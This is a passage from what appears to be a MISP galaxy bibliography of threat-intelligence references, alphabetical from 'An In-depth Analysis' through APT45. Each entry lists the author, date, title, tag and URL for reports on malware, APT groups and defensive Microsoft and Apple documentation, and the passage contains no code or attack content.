https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/

Welivesecurity Ebury SSH

M.Léveillé, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.

The tag is: *misp-galaxy:references="Welivesecurity Ebury SSH"*

Table 19303. Table References

Links
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/

Avertium Black Basta June 2022

Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.

The tag is: *misp-galaxy:references="Avertium Black Basta June 2022"*

Table 19304. Table References

Links
https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware

Myers 2007

Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.

The tag is: *misp-galaxy:references="Myers 2007"*

Table 19305. Table References

Links

http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf

Linux Services Run Levels

The Linux Foundation. (2006, January 11). An introduction to services, runlevels, and rc.d scripts. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Linux Services Run Levels"*

Table 19306. Table References

Links
https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/

Trend Micro BlackCat April 18 2022

Lucas Silva, Leandro Froes. (2022, April 18). An Investigation of the BlackCat Ransomware via Trend Micro Vision One. Retrieved February 20, 2025.

The tag is: *misp-galaxy:references="Trend Micro BlackCat April 18 2022"*

Table 19307. Table References

Links
https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html

Anomali Pirate Panda April 2020

Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020.

The tag is: *misp-galaxy:references="Anomali Pirate Panda April 2020"*

Table 19308. Table References

Links
https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z

AnonGhost Team Profile

ADL. (2015, July 6). AnonGhost Team. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="AnonGhost Team Profile"*

Table 19309. Table References

Links
https://www.adl.org/resources/profile/anonghost-team

AnonHBGary

Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.

The tag is: *misp-galaxy:references="AnonHBGary"*

Table 19310. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/

Fortinet Metamorfo Feb 2020

Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020.

The tag is: *misp-galaxy:references="Fortinet Metamorfo Feb 2020"*

Table 19311. Table References

Links
https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions

MuddyWater TrendMicro June 2018

Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.

The tag is: *misp-galaxy:references="MuddyWater TrendMicro June 2018"*

Table 19312. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/

AlienVault Sykipot 2011

Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.

The tag is: *misp-galaxy:references="AlienVault Sykipot 2011"*

Table 19313. Table References

Links
https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies

RiskIQ Newegg September 2018

Klijnsma, Y. (2018, September 19). Another Victim of the Magecart Assault Emerges: Newegg. Retrieved September 9, 2020.

The tag is: *misp-galaxy:references="RiskIQ Newegg September 2018"*

Table 19314. Table References

Links
https://web.archive.org/web/20181209083100/https://www.riskiq.com/blog/labs/magecart-newegg/

Dell WMI Persistence

Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.

The tag is: *misp-galaxy:references="Dell WMI Persistence"*

Table 19315. Table References

Links
https://www.secureworks.com/blog/wmi-persistence

iDefense Rootkit Overview

Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="iDefense Rootkit Overview"*

Table 19316. Table References

Links
http://www.megasecurity.org/papers/Rootkits.pdf

Trend Micro Rhysida August 09 2023

Trend Micro Research. (2023, August 9). An Overview of the New Rhysida Ransomware Targeting the Healthcare Sector. Retrieved August 11, 2023.

The tag is: *misp-galaxy:references="Trend Micro Rhysida August 09 2023"*

Table 19317. Table References

Links
https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html

Mandiant Ukraine Cyber Threats January 2022

Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022.

The tag is: *misp-galaxy:references="Mandiant Ukraine Cyber Threats January 2022"*

Table 19318. Table References

Links
https://www.mandiant.com/resources/ukraine-crisis-cyber-threats

Apriorit

Apriorit. (2024, June 4). Anti Debugging Protection Techniques with Examples. Retrieved March 4, 2025.

The tag is: *misp-galaxy:references="Apriorit"*

Table 19319. Table References

Links
https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software

Microsoft AMSI

Microsoft. (2019, April 19). Antimalware Scan Interface (AMSI). Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft AMSI"*

Table 19320. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

Microsoft Anti Spoofing

Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Microsoft Anti Spoofing"*

Table 19321. Table References

Links
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide

Trend Micro - United States June 13 2025

Maristel Policarpio; Sarah Pearl Camiling; Sophia Nilette Robles Read time. (2025, June 13). Anubis A Closer Look at an Emerging Ransomware with Built-in Wiper. Retrieved June 20, 2025.

The tag is: *misp-galaxy:references="Trend Micro - United States June 13 2025"*

Table 19322. Table References

Links
https://www.trendmicro.com/en_us/research/25/f/anubis-a-closer-look-at-an-emerging-ransomware.html

Kelacyber February 25 2025

KELA Cyber Team; Ben Kapon. (2025, February 25). Anubis A New Ransomware Threat . Retrieved June 20, 2025.

The tag is: *misp-galaxy:references="Kelacyber February 25 2025"*

Table 19323. Table References

Links
https://www.kelacyber.com/blog/anubis-a-new-ransomware-threat/

Fox-It Anunak Feb 2015

Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.

The tag is: *misp-galaxy:references="Fox-It Anunak Feb 2015"*

Table 19324. Table References

Links
https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/

Group-IB Anunak

Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.

The tag is: *misp-galaxy:references="Group-IB Anunak"*

Table 19325. Table References

Links
http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf

Google TAG Ukraine Threat Landscape March 2022

Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022.

The tag is: *misp-galaxy:references="Google TAG Ukraine Threat Landscape March 2022"*

Table 19326. Table References

Links
https://blog.google/threat-analysis-group/update-threat-landscape-ukraine

Zairon Hooking Dec 2006

Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="Zairon Hooking Dec 2006"*

Table 19327. Table References

Links
https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/

SentinelOne Aoqin Dragon June 2022

Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.

The tag is: *misp-galaxy:references="SentinelOne Aoqin Dragon June 2022"*

Table 19328. Table References

Links
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

Apache Server 2018

Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.

The tag is: *misp-galaxy:references="Apache Server 2018"*

Table 19329. Table References

Links
http://httpd.apache.org/docs/2.4/getting-started.html#content

Secureworks BRONZEUNION Feb 2019

Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION's Toolbox. Retrieved September 24, 2019.

The tag is: *misp-galaxy:references="Secureworks BRONZEUNION Feb 2019"*

Table 19330. Table References

Links
https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox

Cyble July 14 2022

Cybleinc. (2022, July 14). ApolloRat Evasive Malware Compiled Using Nuitka - Cyble. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Cyble July 14 2022"*

Table 19331. Table References

Links
https://blog.cyble.com/2022/07/14/apollorat-evasive-malware-compiled-using-nuitka/

AppArmor official

AppArmor. (2017, October 19). AppArmor Security Project Wiki. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="AppArmor official"*

Table 19332. Table References

Links
http://wiki.apparmor.net/index.php/Main_Page

AppCert.exe - LOLBAS Project

LOLBAS. (2024, March 6). AppCert.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="AppCert.exe - LOLBAS Project"*

Table 19333. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appcert/

PenTestLabs AppDomainManagerInject

Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="PenTestLabs AppDomainManagerInject"*

Table 19334. Table References

Links
https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/

Rapid7 AppDomain Manager Injection

Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="Rapid7 AppDomain Manager Injection"*

Table 19335. Table References

Links
https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/

Mandiant APT1 Appendix

Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.

The tag is: *misp-galaxy:references="Mandiant APT1 Appendix"*

Table 19336. Table References

Links
https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf

AppInit Secure Boot

Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.

The tag is: *misp-galaxy:references="AppInit Secure Boot"*

Table 19337. Table References

Links

https://msdn.microsoft.com/en-us/library/dn280412

AppInstaller.exe - LOLBAS Project

LOLBAS. (2020, December 2). AppInstaller.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="AppInstaller.exe - LOLBAS Project"*

Table 19338. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/

objectivesee osx.shlayer apple approved 2020

Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.

The tag is: *misp-galaxy:references="objectivesee osx.shlayer apple approved 2020"*

Table 19339. Table References

Links
https://objective-see.com/blog/blog_0x4E.html

AppleDocs AuthorizationExecuteWithPrivileges

Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.

The tag is: *misp-galaxy:references="AppleDocs AuthorizationExecuteWithPrivileges"*

Table 19340. Table References

Links
https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg

AppleDocs Scheduling Timed Jobs

Apple. (n.d.). Retrieved July 17, 2017.

The tag is: *misp-galaxy:references="AppleDocs Scheduling Timed Jobs"*

Table 19341. Table References

Links
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html

CISA AppleJeus Feb 2021

Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea's Cryptocurrency Malware. Retrieved March 1, 2021.

The tag is: *misp-galaxy:references="CISA AppleJeus Feb 2021"*

Table 19342. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa21-048a

Apple Remote Desktop Admin Guide 3.3

Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="Apple Remote Desktop Admin Guide 3.3"*

Table 19343. Table References

Links
https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf

applescript signing

Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.

The tag is: *misp-galaxy:references="applescript signing"*

Table 19344. Table References

Links
https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/

Microsoft Entra ID Service Principals

Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.

The tag is: *misp-galaxy:references="Microsoft Entra ID Service Principals"*

Table 19345. Table References

Links
https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser

Microsoft App Domains

Microsoft. (2021, September 15). Application domains. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="Microsoft App Domains"*

Table 19346. Table References

Links
https://learn.microsoft.com/dotnet/framework/app-domains/application-domains

Microsoft Application Lockdown

Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.

The tag is: *misp-galaxy:references="Microsoft Application Lockdown"*

Table 19347. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN

Corio 2008

Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.

The tag is: *misp-galaxy:references="Corio 2008"*

Table 19348. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

SANS Application Whitelisting

Beechey, J.. (2014, November 18). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.

The tag is: *misp-galaxy:references="SANS Application Whitelisting"*

Table 19349. Table References

Links
https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

Beechey 2010

Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.

The tag is: *misp-galaxy:references="Beechey 2010"*

Table 19350. Table References

Links
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

NSA MS AppLocker

NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.

The tag is: *misp-galaxy:references="NSA MS AppLocker"*

Table 19351. Table References

Links
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Penetration Testing Lab MSXSL July 2017

netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.

The tag is: *misp-galaxy:references="Penetration Testing Lab MSXSL July 2017"*

Table 19352. Table References

Links
https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/

Burke/CISA ClickOnce Paper

William J. Burke IV. (n.d.). Appref-ms Abuse for Code Execution & C2. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="Burke/CISA ClickOnce Paper"*

Table 19353. Table References

Links

https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended-wp.pdf?_gl=1*1jv89bf*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.256219723.1512103758.1724809895-1999078900.1724809894

Microsoft Requests for Azure AD Roles in Privileged Identity Management

Microsoft. (2023, January 30). Approve or deny requests for Azure AD roles in Privileged Identity Management. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Microsoft Requests for Azure AD Roles in Privileged Identity Management"*

Table 19354. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/azure-ad-pim-approval-workflow

Apple App Security Overview

Apple Inc. (2021, February 18). App security overview. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="Apple App Security Overview"*

Table 19355. Table References

Links
https://support.apple.com/guide/security/app-security-overview-sec35dd877d0/1/web/1

Tripwire AppUNBlocker

Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.

The tag is: *misp-galaxy:references="Tripwire AppUNBlocker"*

Table 19356. Table References

Links
https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/

Appvlp.exe - LOLBAS Project

LOLBAS. (2018, May 25). Appvlp.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Appvlp.exe - LOLBAS Project"*

Table 19357. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/

BlackHat Atkinson Winchester Token Manipulation

Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="BlackHat Atkinson Winchester Token Manipulation"*

Table 19358. Table References

Links
https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf

FireEye APT10 April 2017

FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.

The tag is: *misp-galaxy:references="FireEye APT10 April 2017"*

Table 19359. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

Securelist APT10 March 2021

GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.

The tag is: *misp-galaxy:references="Securelist APT10 March 2021"*

Table 19360. Table References

Links
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

FireEye APT10 Sept 2018

Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using

Updated TTPs. Retrieved September 17, 2018.

The tag is: *misp-galaxy:references="FireEye APT10 Sept 2018"*

Table 19361. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html

NCC Group APT15 Alive and Strong

Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.

The tag is: *misp-galaxy:references="NCC Group APT15 Alive and Strong"*

Table 19362. Table References

Links
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Mandiant APT1

Mandiant. (n.d.). APT1 Exposing One of China's Cyber Espionage Units. Retrieved July 18, 2016.

The tag is: *misp-galaxy:references="Mandiant APT1"*

Table 19363. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Profero APT27 December 2020

Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.

The tag is: *misp-galaxy:references="Profero APT27 December 2020"*

Table 19364. Table References

Links
https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf

FireEye APT28 January 2017

FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye APT28 January 2017"*

Table 19365. Table References

Links
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf

FireEye APT28

FireEye. (2015). APT28: A WINDOW INTO RUSSIA'S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.

The tag is: *misp-galaxy:references="FireEye APT28"*

Table 19366. Table References

Links
https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf

U.S. CISA APT28 Cisco Routers April 18 2023

Cybersecurity and Infrastructure Security Agency. (2023, April 18). APT28 Exploits Known Vulnerability to Carry Out Reconnaissance and Deploy Malware on Cisco Routers. Retrieved August 23, 2023.

The tag is: *misp-galaxy:references="U.S. CISA APT28 Cisco Routers April 18 2023"*

Table 19367. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-108

Symantec APT28 Oct 2018

Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.

The tag is: *misp-galaxy:references="Symantec APT28 Oct 2018"*

Table 19368. Table References

Links

https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

FireEye APT28 Hospitality Aug 2017

Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye APT28 Hospitality Aug 2017"*

Table 19369. Table References

Links
https://web.archive.org/web/20171202185937/https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html

Bitdefender APT28 Dec 2015

Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.

The tag is: *misp-galaxy:references="Bitdefender APT28 Dec 2015"*

Table 19370. Table References

Links
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf

FireEye APT29 Domain Fronting

Dunwoody, M. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved March 27, 2017.

The tag is: *misp-galaxy:references="FireEye APT29 Domain Fronting"*

Table 19371. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html

FireEye APT29 Domain Fronting With TOR March 2017

Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.

The tag is: *misp-galaxy:references="FireEye APT29 Domain Fronting With TOR March 2017"*

Table 19372. Table References

Links

https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html

FireEye APT30

FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye APT30"*

Table 19373. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf

Zscaler APT31 Covid-19 October 2020

Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Zscaler APT31 Covid-19 October 2020"*

Table 19374. Table References

Links
https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online

sentinelone apt32 macOS backdoor 2020

Phil Stokes. (2020, December 2). APT32 Multi-stage macOS Trojan Innovates on Crimeware Scripting Technique. Retrieved September 13, 2021.

The tag is: *misp-galaxy:references="sentinelone apt32 macOS backdoor 2020"*

Table 19375. Table References

Links
https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/

FireEye APT33 Webinar Sept 2017

Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="FireEye APT33 Webinar Sept 2017"*

Table 19376. Table References

Links
https://www.brighttalk.com/webcast/10703/275683

FireEye APT34 Webinar Dec 2017

Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="FireEye APT34 Webinar Dec 2017"*

Table 19377. Table References

Links
https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east

DFIR Report APT35 ProxyShell March 2022

DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.

The tag is: *misp-galaxy:references="DFIR Report APT35 ProxyShell March 2022"*

Table 19378. Table References

Links
https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell

Check Point APT35 CharmPower January 2022

Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.

The tag is: *misp-galaxy:references="Check Point APT35 CharmPower January 2022"*

Table 19379. Table References

Links
https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/

FireEye APT37 Feb 2018

FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye APT37 Feb 2018"*

Table 19380. Table References

Links
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

FireEye APT38 Oct 2018

FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.

The tag is: *misp-galaxy:references="FireEye APT38 Oct 2018"*

Table 19381. Table References

Links
https://content.fireeye.com/apt/rpt-apt38

FireEye APT39 Jan 2019

Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.

The tag is: *misp-galaxy:references="FireEye APT39 Jan 2019"*

Table 19382. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html

APT3 Adversary Emulation Plan

Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.

The tag is: *misp-galaxy:references="APT3 Adversary Emulation Plan"*

Table 19383. Table References

Links
https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf

evolution of pirpi

Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.

The tag is: *misp-galaxy:references="evolution of pirpi"*

Table 19384. Table References

Links
https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf

FireEye APT40 March 2019

Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.

The tag is: *misp-galaxy:references="FireEye APT40 March 2019"*

Table 19385. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html

apt41_mandiant

Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.

The tag is: *misp-galaxy:references="apt41_mandiant"*

Table 19386. Table References

Links
https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf

Google Cloud APT41 2024

Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="Google Cloud APT41 2024"*

Table 19387. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust

Mandiant APT41 July 18 2024

Mike Stokkel, Pierre Gerlings, Renato Fontana, Luis Rocha, Jared Wilson, Stephen Eckels, Jonathan Lepore. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved August 2, 2024.

The tag is: *misp-galaxy:references="Mandiant APT41 July 18 2024"*

Table 19388. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust

apt41_dcsocytec_dec2022

DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.

The tag is: *misp-galaxy:references="apt41_dcsocytec_dec2022"*

Table 19389. Table References

Links
https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1

Rostovcev APT41 2021

Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.

The tag is: *misp-galaxy:references="Rostovcev APT41 2021"*

Table 19390. Table References

Links
https://www.group-ib.com/blog/apt41-world-tour-2021/

Mandiant APT42

Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.

The tag is: *misp-galaxy:references="Mandiant APT42"*

Table 19391. Table References

Links
https://www.mandiant.com/media/17826

Mandiant Crooked Charms August 12 2022

Mandiant. (2022, August 12). APT42: Crooked Charms, Cons and Compromises. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="Mandiant Crooked Charms August 12 2022"*

Table 19392. Table References

Links

https://www.mandiant.com/sites/default/files/2022-09/apt42-report-mandiant.pdf

Mandiant APT42-charms

Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromises. Retrieved October 9, 2024.

The tag is: *misp-galaxy:references="Mandiant APT42-charms"*

Table 19393. Table References

Links
https://services.google.com/fh/files/misc/apt42-crooked-charms-cons-and-compromises.pdf

Mandiant APT43 Full PDF Report

Mandiant. (n.d.). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved October 14, 2024.

The tag is: *misp-galaxy:references="Mandiant APT43 Full PDF Report"*

Table 19394. Table References

Links
https://services.google.com/fh/files/misc/apt43-report-en.pdf

Mandiant APT43 March 2024

Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.

The tag is: *misp-galaxy:references="Mandiant APT43 March 2024"*

Table 19395. Table References

Links
https://services.google.com/fh/files/misc/apt43-report-en.pdf

mandiant_apt44_unearthing_sandworm

Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.

The tag is: *misp-galaxy:references="mandiant_apt44_unearthing_sandworm"*

Table 19396. Table References

Links
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf

Mandiant APT45 July 25 2024

